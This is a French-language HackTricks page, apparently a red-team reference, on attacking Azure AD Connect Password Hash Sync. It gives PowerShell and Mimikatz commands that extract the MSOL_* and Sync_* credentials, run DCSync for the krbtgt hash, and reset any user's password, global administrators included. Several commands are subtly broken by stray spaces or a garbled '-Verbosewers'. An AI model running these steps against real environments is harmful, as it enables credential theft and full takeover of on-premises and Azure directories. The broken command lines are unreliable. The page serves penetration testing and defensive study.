Az - PHS - Password Hash Sync

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

À partir de la documentation : La synchronisation des hachages de mots de passe est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. Azure AD Connect synchronise un hachage, du hachage, du mot de passe d'un utilisateur à partir d'une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.

C'est la méthode la plus courante utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.

Tous les utilisateurs et un hachage des hachages de mots de passe sont synchronisés de l'AD sur site vers Azure AD. Cependant, les mots de passe en clair ou les hachages originaux ne sont pas envoyés à Azure AD. De plus, les groupes de sécurité intégrés (comme les administrateurs de domaine...) ne sont pas synchronisés vers Azure AD.

La synchronisation des hachages se produit toutes les 2 minutes. Cependant, par défaut, l'expiration du mot de passe et l'expiration du compte ne sont pas synchronisées dans Azure AD. Ainsi, un utilisateur dont le mot de passe sur site a expiré (non modifié) peut continuer à accéder aux ressources Azure en utilisant l'ancien mot de passe.

Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'authentification a lieu sur Azure AD.

PHS est requis pour des fonctionnalités telles que la protection de l'identité et les services de domaine AAD.

Pivotement

Lorsque PHS est configuré, certains comptes privilégiés sont automatiquement créés :

  • Le compte MSOL_<installationID> est automatiquement créé dans l'AD sur site. Ce compte reçoit un rôle Comptes de synchronisation de répertoire (voir documentation) ce qui signifie qu'il a des permissions de réplication (DCSync) dans l'AD sur site.

  • Un compte Sync_<nom du serveur ADConnect sur site>_installationID est créé dans Azure AD. Ce compte peut réinitialiser le mot de passe de N'IMPORTE QUEL utilisateur (synchronisé ou uniquement dans le cloud) dans Azure AD.

Les mots de passe des deux comptes privilégiés précédents sont stockés dans un serveur SQL sur le serveur où Azure AD Connect est installé. Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en clair. La base de données est située dans C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Il est possible d'extraire la configuration à partir de l'une des tables, l'une étant chiffrée :

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configuration chiffrée est chiffrée avec DPAPI et elle contient les mots de passe de l'utilisateur MSOL_* dans l'AD sur site et le mot de passe de Sync_* dans AzureAD. Par conséquent, compromettre ceux-ci permet de passer à l'AD et à AzureAD.

Vous pouvez trouver un aperçu complet de la façon dont ces informations d'identification sont stockées et déchiffrées dans cette présentation.

Recherche du serveur Azure AD Connect

Si le serveur où Azure AD Connect est installé est joint à un domaine (recommandé dans la documentation), il est possible de le trouver avec :

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abus de MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Vous pouvez également utiliser adconnectdump pour obtenir ces informations d'identification.

Abus de Sync_*

En compromettant le compte Sync_*, il est possible de réinitialiser le mot de passe de n'importe quel utilisateur (y compris les administrateurs globaux)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Il est également possible de modifier les mots de passe des utilisateurs uniquement dans le cloud (même si c'est inattendu)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Il est également possible de récupérer le mot de passe de cet utilisateur.

Une autre option serait de attribuer des autorisations privilégiées à un principal de service, ce que l'utilisateur Sync a la permission de faire, puis accéder à ce principal de service comme moyen de privilège.

Authentification unique transparente

Il est possible d'utiliser l'authentification unique transparente avec PHS, ce qui est vulnérable à d'autres abus. Vérifiez-le ici :

pageAz - Seamless SSO

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour